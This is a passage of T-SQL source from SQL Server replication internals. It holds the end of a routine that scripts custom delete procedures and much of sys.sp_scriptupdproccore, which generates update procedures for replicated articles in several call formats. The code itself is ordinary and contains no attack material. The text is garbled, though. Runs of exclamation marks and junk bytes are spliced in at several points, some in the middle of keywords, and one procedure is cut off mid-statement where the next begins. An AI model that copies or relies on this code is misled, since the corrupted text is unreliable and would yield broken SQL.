    if (@publishertype not in (@pubtypemssqlserver, @pubtypeheterogeneous))
    begin
        raiserror(21402, 16, 10, '@publishertype')
        return (1)
    end
    
    --
    -- validate @publisher
    --
    if (@publisher IS NULL) AND (@publishertype = @pubtypeheterogeneous)
    begin
        raiserror(21425, 16, 7)
        return (1)
    end
    
    if (@publisher IS NOT NULL) AND (@publishertype = @pubtypemssqlserver)
    begin
        raiserror(21424, 16, 7)
        return (1)
    end
    
    if (@publishertype = @pubtypemssqlserver)
    begin
		select @publisher = publishingservername()
    end
    
    --
    -- create temp table for scripting
    --
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    --
    -- get sysarticles information
    --
    select @dest_owner = case when dest_owner is NULL then N''
                    else quotename( dest_owner ) + N'.' end
            ,@dest_tabname = dest_table
            ,@src_objid = case when (@publishertype = @pubtypemssqlserver) then objid else artid end
            ,@del_cmd = del_cmd
            ,@pubid = pubid
            ,@schema_option = convert(bigint,schema_option)
	        ,@article = name
    from sysarticles
    where artid = @artid

    if (@schema_option & 0x0000000000000020) = 0x0000000000000020 -- UserDefinedTypesToBaseTypes
    begin
        set @userdefinedtypestobasetypes = 1
    end

    if (@schema_option & 0x0000000010000000) = 0x0000000010000000 -- XmlToNText
    begin
        set @xmltontext = 1
    end

    if (@schema_option & 0x0000000020000000) = 0x0000000020000000 -- MaxTypesToMatchingNonMaxTypes
    begin
        set @maxtypestomatchingnonmaxtypes = 1
    end

    if (@schema_option & 0x0000000000000008) = 0x0000000000000008 -- replicate timestamp as timestamp
    begin
        set @maptimestamp = 0
    end

    if (@schema_option & 0x0000000200000000) = 0x0000000200000000 -- NewDateTimeTypesToStrings
    begin
        set @newdatetimetypestostrings = 1
    end

    if (@schema_option & 0x0000002000000000) = 0x0000002000000000 -- HierarchyIdToVarBinaryMax
    begin
        set @hierarchyidtovarbinarymax = 1
    end

    if (@schema_option & 0x0000001000000000) = 0x0000001000000000 -- LargeUserDefinedTypesToVarBinaryMax
    begin
        set @largeuserdefinedtypestovarbinarymax = 1
    end

    if (@schema_option & 0x0000008000000000) = 0x0000008000000000 -- SpatialTypesToVarBinaryMax
    begin
        set @spatialtypestovarbinarymax = 1
    end

    --
    -- get publication info
    --
    select @updsub_check = (ISNULL(allow_sync_tran, 0) |ISNULL(allow_queued_tran, 0))
            ,@repl_freq = repl_freq
            ,@publication = name
     from syspublications
    where pubid = @pubid

    --
    -- Do not support snapshot publications
    --
    if (@repl_freq = 1)
    begin
        raiserror(21515, 16, -1, @publication) 
        return 1
    end
    --
    -- do we have the right call format
    --
    select @commandprefix = case 
                    when (@format = @callformat) then N'CALL'
                    when (@format = @xcallformat) then N'XCALL'
                    when (@format = @vcallformat) then N'VCALL'
                    else null end
    if ( 1 != charindex( @commandprefix, upper(@del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) ) or @del_cmd is null
    begin
		raiserror (14156, 16, 1, N'delete', @commandprefix)
		return 1
    end
    --
    -- get destination proc name, the format stored inside sysarticles: XXXX [dbo].[xxxxxxxx]
    --
    select @dest_proc = case when (@format = @callformat) 
            then substring( @del_cmd, 6, len( @del_cmd ) - 4 )
            else substring( @del_cmd, 7, len( @del_cmd ) - 5 ) end

    --in ccs reconcile mode we can no longer use ;2 as proc name, append something to the end to make it *unique*
    select @dest_proc = case @mode when @regularmode then @dest_proc
                                else substring(@dest_proc, 1, len( @dest_proc ) -1 ) + N'_msrepl_ccs]'
                                end
    select @unquoted_proc_name = parsename(@dest_proc, 1)
    --
    -- script the dropping and creation of the proc
    --
    select @cmd = N'if object_id(N''' + sys.fn_replreplacesinglequote(@dest_proc) collate database_default + N''', ''P'') <> 0 
                                drop proc ' + @dest_proc
    insert into #proctext(procedure_text) values( @cmd )
    --only keep custom procs in MSreplication_objects for easier cleanup, ccs rec procs are cleaned up by logreader so no need for this
    if (@mode = @regularmode)
    begin
        insert into #proctext(procedure_text) values( N'go' )
        select @cmd = N'if o!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(#VM"3v#bject_id(N''dbo.MSreplication_objects'') is not null 
            delete from dbo.MSreplication_objects where object_name = N''' + sys.fn_replreplacesinglequote(@unquoted_proc_name) collate database_default + N''''
        insert into #proctext(procedure_text) values( @cmd )
    end

    --droponly is used by ccs to drop reconciliation proc at the time sync_done token is posted
    --
    if (@mode = @droponly)
        goto DROPONLY
    insert into #proctext(procedure_text) values( N'go' )
    insert into #proctext( procedure_text ) values (  N'create procedure ' + @dest_proc + N' ')
    --
    -- construct parameter list
    --
    select @art_col = 1
            ,@spacer = N' '
            ,@cmd = N' '
    if (@publishertype = @pubtypemssqlserver)
    begin
        declare hccolid cursor local fast_forward for 
            select column_id, name from sys.columns where object_id = @src_objid order by column_id asc
    end
    else
    begin
        declare hccolid cursor local fast_forward for 
            select colid, name from IHsyscolumns where id = @src_objid order by colorder asc
    end
    open hccolid
    fetch hccolid into @this_col, @colname
    while (@@fetch_status != -1)
    begin
        if (@publishertype = @pubtypemssqlserver)
            select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed != 1) then 1 else 0 end
        else
            select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid) then 1 else 0 end
        --
        -- process each column based on format
        --
        if (@format in (@callformat, @vcallformat))
        begin
            --
            -- processing CALL/VCALL formats
            -- For VCALL we are looking for PK non computed column
            --
            exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
            if @isset = 1
            begin
                --
                -- processing PK column
                --
                select @typestring = sys.fn_gettypestring (@src_objid, @this_col, @publishertype, @userdefinedtypestobasetypes, @xmltontext, @maxtypestomatchingnonmaxtypes, @maptimestamp, @newdatetimetypestostrings, @hierarchyidtovarbinarymax, @largeuserdefinedtypestovarbinarymax, @spatialtypestovarbinarymax)
                select @cmd = @cmd + @spacer + N'@pkc' + convert( nvarchar(10), @art_col ) + N' ' + @typestring 
                select @art_col = @art_col + 1
                        ,@spacer = N','
            end -- PK column
        end -- CALL/VCALL format
        else
        begin
            --
            -- processing XCALL format
            --
            -- If this is a computed column, it is only valid if it is part of the primary key
            --
            if @isvalidcolumn = 0
                exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
            else
                exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
            if @isset = 1
            begin
                --
                -- processing column marked for replication that is not computed
                --
                select @typestring = sys.fn_gettypestring (@src_objid, @this_col, @publishertype, @userdefinedtypestobasetypes, @xmltontext, @maxtypestomatchingnonmaxtypes, @maptimestamp, @newdatetimetypestostrings, @hierarchyidtovarbinarymax, @largeuserdefinedtypestovarbinarymax, @spatialtypestovarbinarymax)
                select @cmd = @cmd + @spacer + N'@c' + convert( nvarchar(10), @art_col ) + N' ' + @typestring 
                --
                -- processing for updating subscribers:if this is the row version column : need to add to where clause
                --
                if (@updsub_check = 1 and @colname = N'msrepl_tran_version')
                    select @qwhere_string = N' and msrepl_tran_version = @c' + convert( nvarchar, @art_col )
                select @art_col = @art_col + 1
                        ,@spacer = N','
            end -- end column replicated and not computed
        end -- XCALL format
        --
        -- flush command as necessary
        --
        if len( @cmd ) > 3000
        begin
            insert into #proctext(procedure_text) values( @cmd )
            select @cmd = N' '
        end
        fetch hccolid into @this_col, @colname
    end -- while cursor block
    close hccolid
    deallocate hccolid
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- VCALL format : add version parameter for the regular scripting mode
    --
    if (@format = @vcallformat) and (@mode = @regularmode)
    begin
        insert into #proctext(procedure_text) values( N',@msrepl_tran_version uniqueidentifier ')
    end
    insert into #proctext(procedure_text) values( N'as ')
    insert into #proctext(procedure_text) values( N'begin ')
    --
    -- script the delete statetment
    --
    insert into #proctext(procedure_text) values( N'delete ' + @dest_owner + quotename(@dest_tabname) ) 
    --
    -- script the where clause
    --
    if (@format in (@callformat, @vcallformat))
    begin
        --
        -- processing CALL/VCALL formats
        --
        exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                            ,@artid = @artid 
                            ,@publishertype = @publishertype
    end
    else
    begin
        --
        -- processing XCALL format
        --
        exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                            ,@artid = @artid 
                            ,@prefix = N'@c'
                            ,@artcolcounter = 1 
                            ,@publishertype = @publishertype
    end
    --
    -- additional processing based on mode and format
    --
    if (@mode = @regularmode)
    begin
        --
        -- regular mode processing
        --
        if (@updsub_check = 0)
        begin
            --
            -- processing for SQL Server publisher
            --
            if (@publishertype = @pubtypemssqlserver)
            begin
                --
                -- regular articles : add missing row check
                --
                exec sys.sp_MSscript_missing_row_check
            end
        end
        else
        begin
            --
            -- updating subscriber article
            --
            if (@format = @xcallformat)
                insert into #proctext(procedure_text) values( @qwhere_string )
            else if (@format = @vcallformat)
                insert into #proctext(procedure_text) values( N' and msrepl_tran_version = @msrepl_tran_version ' )
        end
    end -- end regular mode
    --
    -- end the scripting
    --
    insert into #proctext(procedure_text) values( N'end ')
    --
    -- script the inserting of proc entry in MSreplication_objects now that proc is created
    --
    --only keep custom procs in MSreplication_objects for easier cleanup, ccs rec procs are cleaned up by logreader so no need for this
    if (@mode = @regularmode)
    begin
        insert into #proctext(procedure_text) values( N'go' )
        select @cmd = N'if columnproperty(object_id(N''dbo.MSreplication_objects''), N''article'', ''AllowsNull'') is not null '
        insert into #proctext(procedure_text) values( @cmd )
        select @cmd = N'insert dbo.MSreplication_objects (object_name, publisher, publisher_db, publication, article, object_type) values (
                                    + N''' + sys.fn_replreplacesinglequote(@unquoted_proc_name) collate database_default + N''' '
                                    + N', N''' + sys.fn_replreplacesinglequote(@publisher) collate database_default + N''' ' 
                                    + N', N''' + sys.fn_replreplaces!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($%N*v~create procedure sys.sp_scriptupdproccore 
(
    @artid int                  -- id of the article we are processing
    ,@format tinyint         -- 1 = CALL, 2 = MCALL, 3 = XCALL, 4 = VCALL, 5 = SCALL
    ,@mode tinyint          -- 1 = static scripting, 2 = dynamic scripting
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname = NULL		-- is only non-NULL if @publishertype = 2
)
as
begin
    declare @cmd nvarchar(4000)
                ,@dest_owner nvarchar(255)
                ,@dest_tabname sysname
                ,@src_objid int
                ,@upd_cmd nvarchar(255)
                ,@dest_proc nvarchar(255)
                ,@this_col int
                ,@art_col int
                ,@pkart_col int
                ,@isset int
                ,@isvalidcolumn tinyint
                ,@pkcomputed int
                ,@colname sysname
                ,@typestring nvarchar(255)
                ,@spacer nvarchar(10)
                ,@pubid int
                ,@allow_queued_tran bit
                ,@isallreplcolpk int
                ,@bytestr nvarchar(10)
                ,@bitstr nvarchar(10)
                ,@param_count  int
                ,@updsub_check bit
                ,@qwhere_string nvarchar(4000)
                ,@fscriptidentity bit
                ,@pk_is_identity bit
                ,@commandprefix nvarchar(5)
                ,@repl_freq tinyint
                ,@publication sysname
                ,@fhasnonpkuniquekeys int
                ,@rc int
                ,@fskipallcolumns bit
                ,@userdefinedtypestobasetypes bit
                ,@xmltontext bit
                ,@maxtypestomatchingnonmaxtypes bit
                ,@newdatetimetypestostrings bit
                ,@hierarchyidtovarbinarymax bit
                ,@largeuserdefinedtypestovarbinarymax bit
                ,@spatialtypestovarbinarymax bit
                ,@schema_option bigint
                ,@maptimestamp bit
                ,@article sysname
                ,@unquoted_proc_name sysname
    --
    -- constants
    --
                ,@callformat tinyint
                ,@mcallformat tinyint
                ,@xcallformat tinyint
                ,@vcallformat tinyint
                ,@scallformat tinyint                
                ,@staticmode tinyint
                ,@dynamicmode tinyint
                ,@pubtypemssqlserver tinyint
                ,@pubtypeheterogeneous tinyint
    
    --
    -- initialize
    --
    set nocount on
    select @callformat = 1
            ,@mcallformat = 2
            ,@xcallformat = 3
            ,@vcallformat = 4
			,@scallformat = 5
            ,@staticmode = 1
            ,@dynamicmode = 2
            ,@pubtypemssqlserver = 1
            ,@pubtypeheterogeneous = 2
            ,@userdefinedtypestobasetypes = 0
            ,@xmltontext = 0
            ,@maxtypestomatchingnonmaxtypes = 0
            ,@newdatetimetypestostrings = 0
            ,@hierarchyidtovarbinarymax = 0
            ,@largeuserdefinedtypestovarbinarymax = 0
            ,@spatialtypestovarbinarymax = 0
            ,@maptimestamp = 1
    --
    -- validate the article
    --
    if not exists( select * from sysarticles where artid = @artid AND (type & 1) = 1 )
    begin
        raiserror (14155, 16, 1 )
        return 1
    end
    --
    -- validate @format
    --
    if (@format not in (@callformat, @mcallformat, @xcallformat, @vcallformat, @scallformat))
    begin
        raiserror(21402, 16, 11, '@format')
        return (1)
    end
    --
    -- validate @mode
    --
    if (@mode not in (@staticmode, @dynamicmode))
    begin
        raiserror(21402, 16, 12, '@mode')
        return (1)
    end
    --
    -- validate @publishertype
    --
    if (@publishertype not in (@pubtypemssqlserver, @pubtypeheterogeneous))
    begin
        raiserror(21402, 16, 13, '@publishertype')
        return (1)
    end
    --
    -- validate @publisher
    --
    if (@publishertype = @pubtypemssqlserver)
    begin
        --
        -- For SQL Server publishers, set @publisher to local server
        --
        if (@publisher IS NOT NULL)
        begin
            raiserror(21424, 16, 7)
            return (1)
        end
        select @publisher = upper(publishingservername())
    end
    else if (@publishertype = @pubtypeheterogeneous)
    begin
        if (@publisher IS NULL)
        begin
            raiserror(21425, 16, 7)
            return (1)
        end
    end
    --
    -- create tables used for scripting
    --
    create table #proctext ( c1 int identity not null, procedure_text nvarchar(4000) collate database_default null )
    if (@mode = @dynamicmode)
    begin
        create table #proctext_params ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default )
        create table #proctext_paramdef ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default )
    end
    --
    -- get sysarticles information
    --
    select @pubid = pubid
            ,@dest_owner = case when (dest_owner is null) 
                    then N'' else quotename( dest_owner ) + N'.' end
            ,@dest_tabname = dest_table
            ,@src_objid = case when (@publishertype = @pubtypemssqlserver) then objid else artid end
            ,@upd_cmd = upd_cmd
            ,@fscriptidentity = case when (@publishertype = @pubtypemssqlserver and (cast(schema_option as int) & 0x4) != 0 ) then 1 else 0 end
            ,@schema_option = convert(bigint, schema_option)
            ,@article = name
    from sysarticles
    where artid = @artid

    if (@schema_option & 0x0000000000000020) = 0x0000000000000020 -- UserDefinedTypesToBaseTypes
    begin
        set @userdefinedtypestobasetypes = 1
    end

    if (@schema_option & 0x0000000010000000) = 0x0000000010000000 -- XmlToNText
    begin
        set @xmltontext = 1
    end

    if (@schema_option & 0x0000000020000000) = 0x0000000020000000 -- MaxTypesToMatchingNonMaxTypes
    begin
        set @maxtypestomatchingnonmaxtypes = 1
    end

    if (@schema_option & 0x0000000000000008) = 0x0000000000000008 -- replicate timestamp as timestamp
    begin
        set @maptimestamp = 0
    end
    if (@schema_option & 0x0000002000000000) = 0x0000002000000000 -- HierarchyIdToVarBinaryMax
    begin
        set @hierarchyidtovarbinarymax = 1
    end
    
    if (@schema_option & 0x0000001000000000) = 0x0000001000000000 -- LargeUserDefinedTypesToVarBinaryMax
    begin
        set @largeuserdefinedtypestovarbinarymax = 1
    end

    if (@schema_option & 0x0000000200000000) = 0x0000000200000000 -- NewDateTimeTypesToStrings
    begin
        set @newdatetimetypestostrings = 1
    end
    
    if (@schema_option & 0x0000008000000000) = 0x0000008000000000 -- SpatialTypesToVarBinaryMax
    begin
        set @spatialtypestovarbinarymax = 1
    end

    --
    -- do we have the right call format
    --
    select @commandprefix = case 
                    when (@format = @callformat) then N'CALL'
                    when (@format = @mcallformat) then N'MCALL'
                    when (@format = @xcallformat) then N'XCALL'
                    when (@format = @vcallformat) then N'VCALL'
					when (@format = @scallformat) then N'SCALL'
                    else null end
    if ( 1 != charindex( @commandprefix, upper(@upd_cmd collate SQL_Latin1_General_CP1_CS_AS) ) ) or @upd_cmd is null
    begin
        raiserror (14156, 16, 1, N'update', @commandprefix)
        return 1
    end
    --
    -- get publication information
    --
    select @allow_queued_tran = allow_queued_tran 
            ,@updsub_check = (ISNULL(allow_sync_tran, 0) |ISNULL(allow_queued_tran, 0))
            ,@repl_freq = repl_freq
            ,@publication = name
    from syspublications 
    where pubid = @pubid !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(%%NBv~
    --
    -- Do not support snapshot publications
    --
    if (@repl_freq = 1)
    begin
        raiserror(21515, 16, -1, @publication) 
        return 1
    end
    --
    -- get destination proc name, the format stored inside sysarticles: XXXX [dbo].[xxxxxxxx]
    --
    select @dest_proc = case when (@format = @callformat) 
            then substring( @upd_cmd, 6, len( @upd_cmd ) - 4 )
            else substring( @upd_cmd, 7, len( @upd_cmd ) - 5 ) end

    select @unquoted_proc_name = parsename(@dest_proc, 1)
        
    --
    -- script the dropping and creation of the proc
    --
        select @cmd = N'if object_id(N''' + sys.fn_replreplacesinglequote(@dest_proc) collate database_default + N''', ''P'') <> 0 
    drop proc ' + @dest_proc
    insert into #proctext(procedure_text) values( @cmd )

    --once we drop the proc, clean up MSreplication_objects table as well
    insert into #proctext(procedure_text) values( N'go' )
    select @cmd = N'if object_id(N''dbo.MSreplication_objects'') is not null delete from dbo.MSreplication_objects where object_name = N''' + sys.fn_replreplacesinglequote(@unquoted_proc_name) collate database_default + N''''
    insert into #proctext(procedure_text) values( @cmd )

    insert into #proctext(procedure_text) values( N'go' )
    insert into #proctext( procedure_text ) values (  N'create procedure ' + @dest_proc + N' ')
    --
    -- construct parameter list
    --
    if (@format = @xcallformat)
    begin
        exec sys.sp_scriptupdateparams @src_objid = @src_objid
                                            ,@artid = @artid
                                            ,@artcolcounter = 1
                                            ,@param_count = @param_count output
                                            ,@publishertype = @publishertype
                                            ,@userdefinedtypestobasetypes = @userdefinedtypestobasetypes
                                            ,@xmltontext = @xmltontext
                                            ,@maxtypestomatchingnonmaxtypes = @maxtypestomatchingnonmaxtypes
                                            ,@maptimestamp = @maptimestamp
                                            ,@newdatetimetypestostrings = @newdatetimetypestostrings
                                            ,@hierarchyidtovarbinarymax = @hierarchyidtovarbinarymax
                                            ,@largeuserdefinedtypestovarbinarymax = @largeuserdefinedtypestovarbinarymax
                                            ,@spatialtypestovarbinarymax = @spatialtypestovarbinarymax
    end
    else if (@format = @scallformat)
    begin
        exec sys.sp_scriptupdateparams @src_objid = @src_objid
                                            ,@artid = @artid
                                            ,@artcolcounter = 0
                                            ,@publishertype = @publishertype
                                            ,@userdefinedtypestobasetypes = @userdefinedtypestobasetypes
                                            ,@xmltontext = @xmltontext
                                            ,@maxtypestomatchingnonmaxtypes = @maxtypestomatchingnonmaxtypes
                                            ,@maptimestamp = @maptimestamp
                                            ,@setdefaultnulls = 1
                                            ,@newdatetimetypestostrings = @newdatetimetypestostrings
                                            ,@hierarchyidtovarbinarymax = @hierarchyidtovarbinarymax
                                            ,@largeuserdefinedtypestovarbinarymax = @largeuserdefinedtypestovarbinarymax
                                            ,@spatialtypestovarbinarymax = @spatialtypestovarbinarymax
    end
    else
    begin
        exec sys.sp_scriptupdateparams @src_objid = @src_objid
                                            ,@artid = @artid
                                            ,@artcolcounter = 0
                                            ,@publishertype = @publishertype
                                            ,@userdefinedtypestobasetypes = @userdefinedtypestobasetypes
                                            ,@xmltontext = @xmltontext
                                            ,@maxtypestomatchingnonmaxtypes = @maxtypestomatchingnonmaxtypes
                                            ,@maptimestamp = @maptimestamp
                                            ,@newdatetimetypestostrings = @newdatetimetypestostrings
                                            ,@hierarchyidtovarbinarymax = @hierarchyidtovarbinarymax
                                            ,@largeuserdefinedtypestovarbinarymax = @largeuserdefinedtypestovarbinarymax
                                            ,@spatialtypestovarbinarymax = @spatialtypestovarbinarymax
    end
    --
    -- For VCALL - additional parameter processing
    --
    if (@format = @vcallformat)
    begin
        --
        -- add old version parameter
        --
        insert into #proctext(procedure_text) values( N',@old_msrepl_tran_version uniqueidentifier ' )
    end
    --
    -- For MCALL/VCALL/SCALL - additional parameter processing
    --
    if (@format in (@mcallformat, @vcallformat, @scallformat))
    begin
        --
        -- script the parameter for changed data bitmap
        -- Note that bitmap size is based on number of article columns
        -- (computed by loop below) not source table columns
        --
        select @art_col = 1
        if (@publishertype = @pubtypemssqlserver)
        begin
            declare #hccolid cursor local fast_forward for 
                select column_id from sys.columns where object_id = @src_objid order by column_id asc
        end
        else
        begin
            declare #hccolid cursor local fast_forward for 
                select colid from IHsyscolumns where id = @src_objid order by colorder asc
        end
        open #hccolid
        fetch #hccolid into @this_col
        while (@@fetch_status != -1)
        begin
           exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
            if (@publishertype = @pubtypemssqlserver)
                select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed !=1) then 1 else 0 end
            else
                select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end
            if @isset = 1 and @isvalidcolumn = 1
            begin
                select @art_col = @art_col + 1
            end
            fetch #hccolid into @this_col
        end
        close #hccolid
        deallocate #hccolid
        select @cmd = N',@bitmap binary(' + convert(nvarchar(10),1+(@art_col-1) / 8) + N')'
        insert into #proctext(procedure_text) values( @cmd )
    end
    --
    -- continue scripting
    --
    insert into #proctext(procedure_text) values ( N'as' )
    insert into #proctext(procedure_text) values ( N'begin' )
    --
    -- If we are a part of updating subscriber publication 
    --
    if (@updsub_check = 1)
    begin
        --
        -- Check if we have non PK unique keys
        --
        exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @src_objid
        if (@fhasnonpkuniquekeys = 1)
        begin
            --
            -- There are non PK unique keys
            -- update only if updated values of non PK unique key(s) do not exist
            -- We support scripting for XCALL and VCALL 
            --
            select @cmd = N'
if not exists (select * from ' + @dest_owner + quotename(@dest_tabname) + N' '
            insert into #proctext(procedure_text) values( @cmd )
            if (@format = @xcallformat)
            begin
              !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(&%N'v~  exec @rc = sp_replscriptuniquekeywhereclause @tabid = @src_objid
                                                                ,@artid = @artid
                                                                ,@prefix = '@c' 
                                                                ,@mode = 3
                                                                ,@paramcount = @param_count
                                                                ,@skipindexesonudtcolumns = @userdefinedtypestobasetypes
            end
            else
            begin
                exec @rc = sp_replscriptuniquekeywhereclause @tabid = @src_objid
                                                                ,@artid = @artid
                                                                ,@prefix = '@c' 
                                                                ,@mode = 2
                                                                ,@skipindexesonudtcolumns = @userdefinedtypestobasetypes
            end
            if (@@error != 0 or @rc != 0)
                return 1
            select @cmd = N')
begin'
            insert into #proctext(procedure_text) values( @cmd )
        end
    end
    --
    -- check if PK columns are computed
    -- check if all article columns are PK
    --
    exec @pkcomputed = sys.sp_MSareallcolpkcomputed @src_objid, @publishertype
    exec @isallreplcolpk = sys.sp_MSisallreplcolpk @artid, @publishertype
    select @pk_is_identity = 0
    --
    --====================================================
    -- The static processing update proc body will be scripted as follows:
    -- CALL format 
    --  if not (@c1 = @pkc1 and @c2 = @pkc2 and ... )
    --  begin
    --      script update clause with PK columns
    --  end
    --  else
    --  begin
    --      script update clause without PK columns
    --  end
    --  MCALL/VCALL/SCALL format 
    --  if (substring(@bitmap,1,1) & 1 = 1 or substring(@bitmap,1,2) & 2 = 2 or ... )
    --  begin
    --      script update clause with PK columns
    --  end
    --  else
    --  begin
    --      script update clause without PK columns
    --  end
    --  XCALL format 
    --  if not (@c5 = @c1 and @c6 = @c2 and ... )
    --  begin
    --      script update clause with PK columns
    --  end
    --  else
    --  begin
    --      script update clause without PK columns
    --  end
    --
    -- note that if all the article columns are PK columns, we will
    -- construct the 'update all columns including PK columns' statement
    -- w/o a preceeding IF, and we will NOT construct the 'only update non-pk columns' 
    -- part of the procedure
    --
    -- For SQL Server 7.0 and 2000 - PK update is logged as DELETE + INSERT
    -- For Yukon - singleton PK updates will be logged as UPDATE 
    --
    -- For dynamic update scripting, we will support CALL/MCALL/XCALL/VCALL/SCALL. 
    -- For CALL format, since we do not know if the columns are updated, 
    -- we will script out all the columns.
    --
    -- The dynamic processing update proc body will be scripted as follows:
    -- CALL format
    --  select @stmt = 'update <table> set '
    --  script update clause for each column and append to @stmt
    --  MCALL/VCALL/SCALL format 
    --  select @stmt = 'update <table> set '
    --  if (substring(@bitmap,1,1) & 1 = 1 
    --  begin
    --      script update clause for this column and append to @stmt
    --  end
    --  ... <repeat for other columns>
    --  script sp_executesql for this statement with parameter definition and list
    --  XCALL format 
    --  select @stmt = 'update <table> set '
    --  if not (@c5 = @c1)
    --  begin
    --      script update clause for this column and append to @stmt
    --  end
    --  ... <repeat for other columns>
    --  script sp_executesql for this statement with parameter definition and list
    -- 
    --====================================================
    --
    -- static mode processing
    -- construct test to see if pk has changed 
    -- only do this if the article has columns not included in the pk
    --
    if @isallreplcolpk = 0 and @pkcomputed = 0 and @mode = @staticmode
    begin
        --
        -- we are replicating more than just pk columns and not all pk columns are computed
        -- For static processing : construct IF statement to examine colbitmap and determine 
        -- if a primary key column has been updated.
        -- For static : Check if the all primary keys are identity columns
        --
        select @art_col = 1
                ,@cmd = case when (@format in (@callformat, @xcallformat)) then N'if not (' else N'if (' end
                ,@pkart_col = 1
                ,@spacer = N' '
                ,@pk_is_identity = 1 
        if (@publishertype = @pubtypemssqlserver)
        begin
            declare #hccolid cursor local fast_forward for 
                select column_id from sys.columns where object_id = @src_objid order by column_id asc
        end
        else
        begin
            declare #hccolid cursor local fast_forward for 
                select colid from IHsyscolumns where id = @src_objid order by colorder asc
        end
        open #hccolid
        fetch #hccolid into @this_col
        --
        -- process each column
        --
        while (@@fetch_status != -1)
        begin
            exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
            if (@publishertype = @pubtypemssqlserver)
                select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed !=1) then 1 else 0 end
            else
                select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end
            if @isset = 1 and @isvalidcolumn = 1
            begin
                --
                -- column marked for replication and is not computed
                --
                exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
                if @isset != 0
                begin
                    --
                    -- We have a PK column
                    -- skip identity columns that are scripted as identity on subscriber
                    --
                    if not (@publishertype = @pubtypemssqlserver 
                            and columnproperty(@src_objid, col_name( @src_objid, @this_col), 'IsIdentity') = 1 
                            and @fscriptidentity = 1)
                    begin
                        --
                        -- Process this PK column
                        --
                        select @pk_is_identity = 0
                        --
                        -- script the part for IF clause based on call formats
                        --
                        if (@format = @callformat)
                        begin
                            select @cmd = @cmd + @spacer + N'@c'+convert( nvarchar(10), @art_col ) + N' = @pkc' + convert( nvarchar(10), @pkart_col ) 
                            select @spacer = N' and '
                                    ,@pkart_col = @pkart_col + 1
                        end
                        else if (@format in (@mcallformat, @vcallformat, @scallformat))
                        begin
                            select @bytestr = convert( nvarchar(10), 1 + (@art_col-1) / 8 )
                                    ,@bitstr =  convert( nvarchar(10), power(2, (@art_col-1) % 8 ) )
                            select @cmd = @cmd + @spacer + N'substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  N' = ' + @bitstr                         
                            select @spacer = N' or '
                        end
                        else if (@format = @xcallformat)
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<('%N[Rv~                    begin
                            select @cmd = @cmd + @spacer + N'@c'+convert( nvarchar(10), @art_col + @param_count/2) + 
                                N' = @c' + convert( nvarchar(10), @art_col ) 
                            select @spacer = N' and '
                        end
                        --
                        -- flush if necessary
                        --
                        if len( @cmd ) > 3000
                        begin
                            insert into #proctext(procedure_text) values( @cmd )
                            select @cmd = N''
                        end
                    end -- not identity
                end -- PK column
                select @art_col = @art_col + 1
            end -- column marked for replication and not computed
            fetch #hccolid into @this_col
        end -- process each column while block
        close #hccolid
        deallocate #hccolid
        select @cmd = @cmd + N' )'
        --
        -- Check if we need to script this check
        -- If all PK column are identity then there is no need
        --
        if @pk_is_identity = 0
        begin
            insert into #proctext(procedure_text) values( @cmd )
            insert into #proctext(procedure_text) values( N'begin' )
        end
    end -- if @isallreplcolpk = 0 and @pkcomputed = 0 and @mode = @staticmode
    --
    -- construct update statement including PK columns
    -- we skip this processing block for dynamic processing
    --
    if (@mode = @staticmode)
    begin
        --
        -- static mode processing
        --
        select @fskipallcolumns=1
                ,@art_col = 1
                ,@spacer = N' '
        if (@publishertype = @pubtypemssqlserver)
        begin
            declare #hccolid cursor local fast_forward for 
                select column_id, name from sys.columns where object_id = @src_objid order by column_id asc
        end
        else
        begin
            declare #hccolid cursor local fast_forward for 
                select colid, name from IHsyscolumns where id = @src_objid order by colorder asc
        end
        open #hccolid
        fetch #hccolid into @this_col, @colname
        --
        -- process each column
        --
        while (@@fetch_status != -1)
        begin
            exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
            if (@publishertype = @pubtypemssqlserver)
                select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed !=1) then 1 else 0 end
            else
                select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end
            if @isset = 1 and @isvalidcolumn = 1
            begin
                --
                -- column marked for replication and is not computed
                -- skip identity columns that are scripted as identity on subscriber
                --
                if not (@publishertype = @pubtypemssqlserver 
                        and columnproperty(@src_objid, col_name( @src_objid, @this_col), 'IsIdentity') = 1 
                        and @fscriptidentity = 1)
                begin
                    --
                    -- process this column
                    -- if this is the first processing then script the update command 
                    --
                    if (@fskipallcolumns = 1)
                    begin
                        insert into #proctext(procedure_text) values( N'update ' + @dest_owner + quotename(@dest_tabname) + N' set ' )
                        select @fskipallcolumns = 0
